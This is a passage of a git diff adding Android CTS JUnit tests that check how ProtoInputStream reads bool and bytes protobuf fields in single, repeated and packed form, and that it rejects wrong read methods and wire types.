diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBoolTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBoolTest.java
new file mode 100644
index 0000000..32f0382
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBoolTest.java
@@ -0,0 +1,502 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoParseException;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import org.junit.Assert;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.io.IOException;
+
+public class ProtoInputStreamBoolTest extends TestCase {
+
+ /**
+ * Test reading single bool field
+ */
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ /**
+ * Implementation of testRead with a given chunkSize.
+ */
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 3 -> 1
+ (byte) 0x18,
+ (byte) 0x01,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ boolean[] results = new boolean[2];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readBoolean(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(false, results[0]);
+ assertEquals(true, results[1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(false);
+ testReadCompat(true);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(boolean val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+ final long FIELD_ID = fieldFlags | ((long) 130 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.boolField = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ boolean result = false; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readBoolean(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.boolField, result);
+ }
+
+
+ /**
+ * Test reading repeated bool field
+ */
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ /**
+ * Implementation of testRepeated with a given chunkSize.
+ */
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BOOL;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+
+ // 4 -> 0
+ (byte) 0x20,
+ (byte) 0x00,
+ // 4 -> 1
+ (byte) 0x20,
+ (byte) 0x01,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+
+ // 3 -> 0
+ (byte) 0x18,
+ (byte) 0x00,
+ // 3 -> 1
+ (byte) 0x18,
+ (byte) 0x01,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ boolean[][] results = new boolean[3][2];
+ int[] indices = new int[3];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readBoolean(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readBoolean(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readBoolean(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(false, results[0][0]);
+ assertEquals(false, results[0][1]);
+ assertEquals(true, results[1][0]);
+ assertEquals(true, results[1][1]);
+ assertEquals(false, results[2][0]);
+ assertEquals(true, results[2][1]);
+ }
+
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new boolean[0]);
+ testRepeatedCompat(new boolean[]{false, true});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(boolean[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BOOL;
+ final long FIELD_ID = fieldFlags | ((long) 131 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.boolFieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ boolean[] result = new boolean[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readBoolean(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.boolFieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.boolFieldRepeated[i], result[i]);
+ }
+ }
+
+ /**
+ * Test reading packed bool field
+ */
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ /**
+ * Implementation of testPacked with a given chunkSize.
+ */
+ public void testPacked(int chunkSize) throws IOException {
+
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_BOOL;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 4 -> 0,1
+ (byte) 0x22,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x01,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 3 -> 0,1
+ (byte) 0x1a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x01,
+ };
+
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ boolean[][] results = new boolean[3][2];
+ int[] indices = new int[3];
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readBoolean(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readBoolean(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readBoolean(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(false, results[0][0]);
+ assertEquals(false, results[0][1]);
+ assertEquals(true, results[1][0]);
+ assertEquals(true, results[1][1]);
+ assertEquals(false, results[2][0]);
+ assertEquals(true, results[2][1]);
+ }
+
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new boolean[0]);
+ testPackedCompat(new boolean[]{false, true});
+ }
+
+ /**
+ * Implementation of testPackedCompat with a given value.
+ */
+ private void testPackedCompat(boolean[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_BOOL;
+ final long FIELD_ID = fieldFlags | ((long) 132 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.boolFieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ boolean[] result = new boolean[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readBoolean(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.boolFieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.boolFieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BOOL;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readBoolean(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readBoolean(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readBoolean(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed booleans)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readBoolean(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBytesTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBytesTest.java
new file mode 100644
index 0000000..6a47be8
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamBytesTest.java
@@ -0,0 +1,422 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+public class ProtoInputStreamBytesTest extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> null - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x00,
+ // 2 -> { } - default value, written when repeated
+ (byte) 0x12,
+ (byte) 0x00,
+ // 5 -> { 0, 1, 2, 3, 4 }
+ (byte) 0x2a,
+ (byte) 0x05,
+ (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04,
+ // 3 -> { 0, 1, 2, 3, 4, 5 }
+ (byte) 0x1a,
+ (byte) 0x06,
+ (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05,
+ // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+ (byte) 0x22,
+ (byte) 0x04,
+ (byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ byte[][] results = new byte[4][];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0] = pi.readBytes(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readBytes(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readBytes(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readBytes(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertTrue("Expected: [] Actual: " + Arrays.toString(results[0]),
+ Arrays.equals(new byte[]{}, results[0]));
+ assertTrue("Expected: [] Actual: " + Arrays.toString(results[1]),
+ Arrays.equals(new byte[]{}, results[1]));
+ assertTrue("Expected: [0, 1, 2, 3, 4, 5] Actual: " + Arrays.toString(results[2]),
+ Arrays.equals(new byte[]{0, 1, 2, 3, 4, 5}, results[2]));
+ assertTrue("Expected: [-1, -2, -3, -4] Actual: " + Arrays.toString(results[3]),
+ Arrays.equals(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc},
+ results[3]));
+ }
+
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(new byte[0]);
+ testReadCompat(new byte[]{1, 2, 3, 4});
+ testReadCompat(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc});
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(byte[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+ final long FIELD_ID = fieldFlags | ((long) 150 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.bytesField = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ byte[] result = new byte[val.length];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readBytes(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.bytesField.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.bytesField[i], result[i]);
+ }
+ }
+
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BYTES;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> null - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x00,
+ // 2 -> { } - default value, written when repeated
+ (byte) 0x12,
+ (byte) 0x00,
+ // 3 -> { 0, 1, 2, 3, 4, 5 }
+ (byte) 0x1a,
+ (byte) 0x06,
+ (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05,
+ // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+ (byte) 0x22,
+ (byte) 0x04,
+ (byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc,
+
+ // 5 -> { 0, 1, 2, 3, 4}
+ (byte) 0x2a,
+ (byte) 0x05,
+ (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04,
+
+ // 1 -> null - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x00,
+ // 2 -> { } - default value, written when repeated
+ (byte) 0x12,
+ (byte) 0x00,
+ // 3 -> { 0, 1, 2, 3, 4, 5 }
+ (byte) 0x1a,
+ (byte) 0x06,
+ (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x03, (byte) 0x04, (byte) 0x05,
+ // 4 -> { (byte)0xff, (byte)0xfe, (byte)0xfd, (byte)0xfc }
+ (byte) 0x22,
+ (byte) 0x04,
+ (byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ byte[][][] results = new byte[4][2][];
+ int[] indices = new int[4];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readBytes(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readBytes(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readBytes(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readBytes(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assert (Arrays.equals(new byte[]{}, results[0][0]));
+ assert (Arrays.equals(new byte[]{}, results[0][1]));
+ assert (Arrays.equals(new byte[]{}, results[1][0]));
+ assert (Arrays.equals(new byte[]{}, results[1][1]));
+ assert (Arrays.equals(new byte[]{1, 2, 3, 4}, results[2][0]));
+ assert (Arrays.equals(new byte[]{1, 2, 3, 4}, results[2][1]));
+ assert (Arrays.equals(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc},
+ results[3][0]));
+ assert (Arrays.equals(new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc},
+ results[3][1]));
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new byte[0][]);
+ testRepeatedCompat(new byte[][]{
+ new byte[0],
+ new byte[]{1, 2, 3, 4},
+ new byte[]{(byte) 0xff, (byte) 0xfe, (byte) 0xfd, (byte) 0xfc}
+ });
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(byte[][] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_BYTES;
+ final long FIELD_ID = fieldFlags | ((long) 151 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.bytesFieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ byte[][] result = new byte[val.length][]; // start off with default value
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readBytes(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.bytesFieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.bytesFieldRepeated[i].length, result[i].length);
+ for (int j = 0; j < result[i].length; j++) {
+ assertEquals(readback.bytesFieldRepeated[i][j], result[i][j]);
+ }
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> {1}
+ (byte) 0x0a,
+ (byte) 0x01,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readLong(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_BYTES;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readBytes(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readBytes(FIELD_ID_3);
+ // don't fail, length delimited is ok
+ break;
+ case (int) FIELD_ID_6:
+ pi.readBytes(FIELD_ID_6);
